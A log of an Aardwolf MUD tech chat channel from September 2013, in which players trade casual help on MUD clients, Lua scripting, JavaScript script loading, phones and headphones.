T3/r7/2013-09-17.txt.gz:{chan ch=tech}Leinei Tech: try tags map on
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Ampersand Tech: still no luck
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Comanchee Tech: after I change the font and size of text in main window is there a way to realign the columns?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Leinei Tech: try right-click and pick wrap output
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Leinei Tech: if checking that (or unchecking and checking again) doesn't work, you can go to game->configure->output, and change the options there
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Redryn Tech: lol
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Chaplain Tech: in the alias thing in the mush client, how do you use a variable in an alias command?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Chaplain Tech: anyone here can help me with the alias and variables thing in mush client please?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Leinei Tech: captcha I just got.  Supposed to type in the letters in both images:
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Leinei Tech: http://www.google.com/recaptcha/api/image?c=03AHJ_Vut40t12x8mNeBFazxpRLR5jha7Tax3t0q9k9977EZ8CKCP_C1FIwDLX2ms-4hssd4PfBEajbiVGEZG1ioF-pfij_-z7HHqvCqr3jE81RiWtV5y3LpdMe2C4P1Cm14XjOEsd7LB-3UbMqUCNuT_Nsrvkb__ql1meHHNSSPi-z6oZVG-Fv4U
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Redryn Tech: have you read https://code.google.com/p/aardwolfclientpackage/wiki/Introduction?tm=6 chaplain?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Redryn Tech: just give up and refresh :p
T3/r7/2013-09-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the first word is peace
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Chaplain Tech: no. i didn't know there was something to read on it :) thank you
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tech: Leinei peers intently at HelperMan Hadar.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Chaplain Tech: THANK YOU Redryn... thank you so much!!!
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tymas Tech: i accidently made my main screen half size in mush..how do i fix it?!
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Gener Tech: look in bottom right corner  there is a "grab" there to stretch
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tymas Tech: that isn't working
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tymas Tech: seems to be at the max already
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Gener Tech: have you tried quiting and restarting ?   other than that i don't know.  sorry.  maybe someone else will be on soon that knows more
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tymas Tech: k thanks anyway man
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Bamboo Tech: 'resetmain'
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Redryn Tech: there's a command like reset aard or something i think
T3/r7/2013-09-18.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: if west cellphone is 100% charged and it indicates in A battery app that it uses external power, then it totally bypasses the battery and use the power from the wall socket ?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: A*
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Trachx Tech: no
T3/r7/2013-09-18.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: how so
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Trachx Tech: or rather depend on phone
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Ixle Tech: Try unplugging the battery :)
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tormat Tech: usally no.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Trachx Tech: it is cheaper to charge battery and power phone from battery
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tormat Tech: if you are worried about cycleing the batatery, take the battery out and see if the phone still works when plugged in :P
T3/r7/2013-09-18.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: lol, :-)  isnt it better if i leave it to use external power when fully charged then to drain the battery 4 times west day
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Nope.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Book of Etzli Tech: It never uses external power.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Book of Etzli Tech: It just constantly charges.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: oh i see , il unplug it then ty :-) 
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tormat Tech: usally it cycles the battery every 5 mins if you try to "over charge" it
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Tormat.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Zimzar Tech: is there such thing as a precompiled codebase for aardwolf that i can get or even just a codebase i can try to compile on my own?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: Aard is no longer stock code, so no.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Zimzar Tech: is there a precompiled codebase of aardwolf around? or just a codebase i can try to compile myself?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Thunderous Norton Tech: no
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: Aard is no longer stock code, so no.  Ooh, deja vu!
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tormat Tech: hehe
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Zimzar Tech: thats terrible, i was trying to get it to play offline when i have no net
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: SUUUURE!
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Zimzar Tech: its true
T3/r7/2013-09-18.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its 100% custom, you can get a stock rom or something to play offline but nothing aardish about it
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Zimzar Tech: thanks anyway
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Velian Tech: anyone know anything about setting up cmud on windows 7 so if i log in via my phone when at work it leaves me connected at home and lets me utilize cmud functions/alias/etc?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: I think it's a key, I don't remember, though.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: mis
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Loshy Tech: what file folder would all the mapper cexits be saved in?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tigernuts Tech: anyone know why the flash video player embedded into some websites causes firefox to basically grind to a cpu-flooded halt?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: really bad coding, probably
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: has anyone done a delay toolbar for mush?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: not toolbar but like eh, like show it graphically. like hp, tnl etc
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: are you referring to delays as in combat rounds (ie, ones without any indication from Aard) or delays as in recoveries and such?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Comanchee Tech: can someone tell me how to realign columns in my main window after adjusting the font and size?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yes Hans
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: all of that
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Rintrah Tech: make sure to use a fixed font otherwise tabs will never align
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: they are all countable, could be easy to add it to the hp/mana.. the bottom bar
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Comanchee Tech: sorry what do you mean by a "fixed" font?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: with combat, you'd have to be able to identify round boundaries.  With Aard sending messaging on a changing priority scale I'm not sure that would be doable enough to remain accurate.  The rest has been done and just needs to be consolidated into a graphical variation that plays nice with the other plugins.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: and because of lag concerns (which is always going to be variable), there's really no way to just remove Aard from the equation and handle completely clientside.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: the last bit makes it a problem, thats true
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: but it would be accurate enough for longer command stacking
T3/r7/2013-09-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: the mistake would be 1-2 seconds maybe
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: over time, that would grow.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Hanslanda Tech: and if Aard were to really lag, it'd grow worse.
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Comanchee Tech: a long line of text is cut off at the end of my window - how do I wrap it?  The "wrap output" option does not fix it
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tormat Tech: anyone using wintin got anything for helping with quests/campaigns?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Tormat Tech: or channel management?
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Doc Holliday Tech: whats the command to show room vnum
T3/r7/2013-09-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: rstat
T3/r7/2013-09-18.txt.gz:{chan ch=tech}Doc Holliday Tech: preciate it
T3/r7/2013-09-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: at one point did google maps offer a terrain map? i wanted to look at one because i ride a bike but i dont see the option
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Ranrr Tech: Try OpenCycleMap
T3/r7/2013-09-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: had to take it off satellite
T3/r7/2013-09-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: how does opencyclemap work? im looking at it right now
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Ranrr Tech: It's openstreetmap with a biking "view".
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Ranrr Tech: At least for my local area it has all the bike roads highlighted.
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Elchanan Tech: why might i get sound but no voices while watching netflix
T3/r7/2013-09-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i already know there is not many biking paths around where i live
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Bamboo Tech: Stereo, maybe? 
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Elchanan Tech: on my comp it was wrking just a little while ago
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Elchanan Tech: humm i think its the episode im watching
T3/r7/2013-09-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i always had problems with netflix on my computer
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Ranrr Tech: I've had that problem too.... didn't find a solution.
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Elchanan Tech: yea next episode has voices
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Elchanan Tech: its like one of the audio tracks is just plain missing
T3/r7/2013-09-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: watch it on another device and it will be there lol
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Elchanan Tech: ill just skip the episode
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Dtboy Tech: i usually use google to get my answers
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Elchanan Tech: episode 11 of season 7 supernatural, not like ill be missing too much
T3/r7/2013-09-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was trying to figure out why google maps was trying to take me a certain way for my bike trip and im guessing its because it has "bike friendly roads"
T3/r7/2013-09-19.txt.gz:{chan ch=tech}You Prefer Carpet Tech: anyone out there happen to have any form of an enchanting script?
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Intuition Tech: that mini window that shows me the map (not the one from mapper, the other one) disappeared. how can i get it back on?
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Turie Tech: Are you talking about the ASCII Map?
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Intuition Tech: yes
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Doc Holliday Tech: resetaard
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Intuition Tech: did it. 
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Intuition Tech: I may actually ahve disabled it accidentaly but I don't realize which of the plugins it is
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Intuition Tech: or closed the window.. I don't know.
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Leinei Tech: It's called Aardwolf_ASCII_Mapper
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Kyoden Tech: I would guess its Aardwolf_Ascii_Mapper
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Turie Tech: The window cannot be closed. It might be hidden.
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Turie Tech: Or disabled.
T3/r7/2013-09-19.txt.gz:{chan ch=tech}Intuition Tech: thank you. Yeah I had removed it instead of removing another... It's done :)
T3/r7/2013-09-20.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone know how to use jvisualvm? I can't seem to get it to track my tomcat server.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: my device refuses to upgrade its
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: sofware what do i do
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is the vaguest of requests I have seen this year.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: This year? Whats the vaguest you've ever seen? :P
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: i can rephrase
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It isn't about the phrasing, it's about the detail...
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What device, what software, what version, and what does 'refuse' mean
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And as for vaguest, 'My computer does not, please advise' was a support request I once had to deal with during a support summer internship.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: My ipad which is running on IOS 5 is refusing to update to its next update and i have no idea why i cant remember the reason it gave me, can anyone help me
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What version iPad is it, seem to recall the new 7 update isn't compatibly with all of them
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: i was going for IOS 6 but its a iPad 2
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: IOS 7 only comes out next week i think
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 7.0.1 came out about 13 hours ago
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: doubt ill be able to get it
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Looks like it's compatible down to iPad 2, but server load is causing issues globallyt
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Suggest waiting a day or 2 until the fuss dies down
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: i'll give it a week
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Fravardin Tech: how do i get news on BBM for IOS and Android?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 5 second google later... http://economictimes.indiatimes.com/tech/hardware/blackberrys-chat-service-bbm-coming-to-android-iphone-by-this-week/articleshow/22775374.cms
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Roidrage Tech: can someone help me with this error please Trigger function "spelltag_on" not found or had a previous error.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Roidrage Tech: its on my screen when im spelling up
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Brun Tech: try to reload the plugin yet?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Roidrage Tech: ill try it
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Brun Tech: usually does it for me :)
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Roidrage Tech: thanks
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Roidrage Tech: nope didnt work
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Ayasinda Tech: quit and restart mush
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Roidrage Tech: that worked thanks
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Xarfin Tech: Is there a function is lua to make a string with <num> characters of <char>? Like: Make a string composed of 80 '-' for example
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Xarfin Tech: I did it with a loop but I can't help but think there must be a simpler way
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Mye Tech: you try using string.rep( <string to repeat>, <number of times to repeat> )
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Xarfin Tech: that's EXACTLY what I wanted, many thanks!
T3/r7/2013-09-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: would anyone know why my table is not updating using cmud/lua if i print my table it shows: test:{ammount:17},test2:{ammount:200} but if i print table[test2][ammount] it shows 500
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Mr. Dash Tech: typo on amount?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: naw im consistent with my typo spelling :P
T3/r7/2013-09-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im trying to do if zs.param(2)~=nil then stuff end but if my second param is nil or not its acting like its nil
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Book of Etzli Tech: try zs.param(2)=="" instead.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: whats the command in cmud lua to enable/disable a class?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: hey. uhh. my mapper is now showing rooms for continents. Instead the default map. How to toggle it ? 
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Nuanse Tech: bigmap?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Nuanse Tech: or rooms in mapper window?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: rooms in mapper window
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Nuanse Tech: maprun?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: right click the window
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: any javascript/jquery nuts on?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: i can probably help you tiger. and then what, after right clicking, remarto?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: no its not maprun, Nuanse..
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: my mapper shows all the grid for continent, like.. 30 x 30 rooms in a square matrix
T3/r7/2013-09-20.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: one sec just gotta remember which buttons it was
T3/r7/2013-09-20.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: merge continent map
T3/r7/2013-09-20.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: should be bottom of the dropdown
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: no.. the options are quite.. clear enough, change cexit, delete exit, delete room... nothing like that
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: i'm writing a custom mapping library at work. It has a bunch of dependancies it has to load and wanted to bundle it all up so that users only have to include one js file in their code. Trouble is there's no such thing as a javascript include. I've tried various methods of loading them up including jquery.ajax, but none can guarantee loading AND executing the attached files before continuing, which is an issue 
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: Have you tried jquery's $.getScript function?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: nods, $.getScript does not guarantee it is executed, only that the call was complete
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Taldornor Tech: $.getScript("my_lovely_script.js", function(){} ?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: nogs, the callback function [the success callback] does not guarantee it has been executed
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: it's async. it doesn't guarantee execution even if you use $.ajax and stipulate sync mode
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: have you tried evaluating the loaded script with $.getScript's callback function? 
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: evaluating?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: sorry, not paying attention :-)
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: http://msdn.microsoft.com/en-us/library/ie/12k71sw7%28v=vs.94%29.aspx - runs a javascript script received as String arg
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: test page - <script>eval("alert(\"hello world\")
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: <script>eval("alert(\"hello world\");");</script> 
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: eval is waht absolutely everyone will tell you "for the love of god don't use eval"
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Xantcha Tech: Tigernuts, what about just a simple document.write that adds a <script> tag to the page with the appropriate URL in the src? once you add the script tag to the page it should download it and parse it as if it'd been on pageload
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: doesn't appear to work, xantcha, since code that follows that directive requires stuff in the libraries
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: not big fan of it either. I don't think so Xantcha, not sure though. Because at that point the page has already loaded. You add new content to the page but.. you need to execute it
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Amalcon Tech: If you put pretty much anything from the URL directly into the page, you're already hosed
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Xantcha Tech: Tigernuts, it depends where on the page lifecycle you do the writing... if you're doing document.write while you're still in the header, before the rest of the code executes, and you delay the "real" page execute with something like $(document).ready() you can load all your dependencies before anything in ready is run
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: everything should be in doc.ready by default.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: the idea is that the person using it includes a single js file and then gets busy, i don't control their method of loading stuff
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: all of the dynamic loading has to be done in the constructor of the mapping module object
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: so mr user will be sticking a <script> tag in to load the module then using something like var map = new Mapper(options)
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: dynamic loading has to take place either in the body of the included js file or in the constructor of the Mapper
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: to be honest, only tried sticking it in the constructor and that hasn't been working, i guess if i put it in the body of the js it'll execute it in advance
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: then again, why don't you load it with $.getScript then initialize whatever you want through the callback function? in callback function you'll have access to the library you just loaded.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: oh wait. i'm not sure of that. heh
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: trust yourself
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: yeah. it works
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: $.getScript loads up your stuff. once loaded you can use it. 
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: see what happens when you trust your intuition
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tormat Tech: someone dies!
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: hah. I don't work with js that often. I just know some stuff of it. I'm more to java.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am taking java and c++ right now. i am not that fond of java
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: everything's the same at the end anyway. just figuring out the small differences then you're at home..
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod that is true. but that is like saying math is all the same once you convert it all the same units
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: no. matt is not always the same. you can't compare simple sums to quaternions just because both talk of sums. one requires way more knowledge/understanding than the other.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: math *
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: languages however, once you've seen what exists overall.. objects, callbacks, events, pointers.. in this language the default handler points whilst in the other it holds a copy ... or whatever else.. that will of course influence the way to do it.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: but you know it all once you figure those differences.
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Mye Tech: so functional languages are the same as objective languages?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol hold on a minute reading about quaternions
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: no. check haskell :)
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: =h 1-
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: but then again, "know what exists overall"
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: $.getScript does not, unfortunately
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Tigernuts Tech: but i'll try it on monday with the .getscripts outside the constructor so that they launch as soon as the script is loaded rather than waiting for the Mapper to be instantiated
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: bid 71
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: wrong bid. :)
T3/r7/2013-09-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with cmud i can make a trigger like ^@stringlist$ and trigger off anything in that list, is there a mush version of that?
T3/r7/2013-09-20.txt.gz:{chan ch=tech}Intuition Tech: i don't think so. but you can use regex.
T3/r7/2013-09-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there a way to trigger on clantags in swho area and identify which clan the clantag belongs to?
T3/r7/2013-09-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mushclient
T3/r7/2013-09-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lua
T3/r7/2013-09-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: he needs a way to match a stringlist on mush
T3/r7/2013-09-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with mush client is there a way to substitute text?
T3/r7/2013-09-21.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: does animated-live wallpapers on android tablets use system recources when im not actually at home screen viewing it ?
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Turie Tech: What channel is say on?
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Ontuct Tech: is it? I thought it was a thing all its own
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Tater Tot Vinatia Tech: anyone have any idea how i can get rid of the pop up ads that come through my firefox?
T3/r7/2013-09-21.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: uninstall firefox?
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Brujah Tech: adblock
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Turie Tech: Kill that company.
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: probably have some malware installed
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Endwyn Tech: anyone tried using the google nexus 7 2nd ed slimjacked to an hdtv on the MUD yet?
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Endwyn Tech: take that as a no lol
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Rodae Tech: that is a very specific question for a very limited number or mud users lol
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Endwyn Tech: yes i agree never hurts to try tho lol
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So idea time: I created a simple Lua TCP server using the LuaSock library. The file can be found here (https://github.com/DeveloperMeier/Lu
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Bah
T3/r7/2013-09-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So idea time: I created a simple Lua TCP server using the LuaSock library. The file can be found here (https://github.com/DeveloperMeier/LuaMudClient/blob/master/telnet.lua), basically it opens up a session to aardwolf, and prints out the home page. My question is this, how would I make it continually print out MUD output as it comes in, but listen for user input without locking the thread?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there a plugin function that i can use for when the plugin is installed ?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: anyone seen the new surface vs. ipad commercial?  funny.
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: what are the best headphones for laptop under 200
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Tigernuts Tech: the laptop part is irrelevent
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Turie Tech: Free Headphones!
T3/r7/2013-09-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: skull candy
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Endwyn Tech: free is best lol.. are you wanting wireless or wired
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Book of Etzli Tech: That really depends on what you want them for...
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Gaming? Media?
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: it's relevant cause the sound card is not special
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: well media
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Tigernuts Tech: i use a set of sony cans
T3/r7/2013-09-22.txt.gz:{chan ch=tech}Alcor Tech: I'm a big fan of my beyerdynamic dt990pro, but I believe headphones are a very personal matter and if you can try them out, especially in that price range, I think it better to do so :)
T3/r7/2013-09-22.txt.gz:{chan ch=tech}TrEz Tech: aren't those open back ?
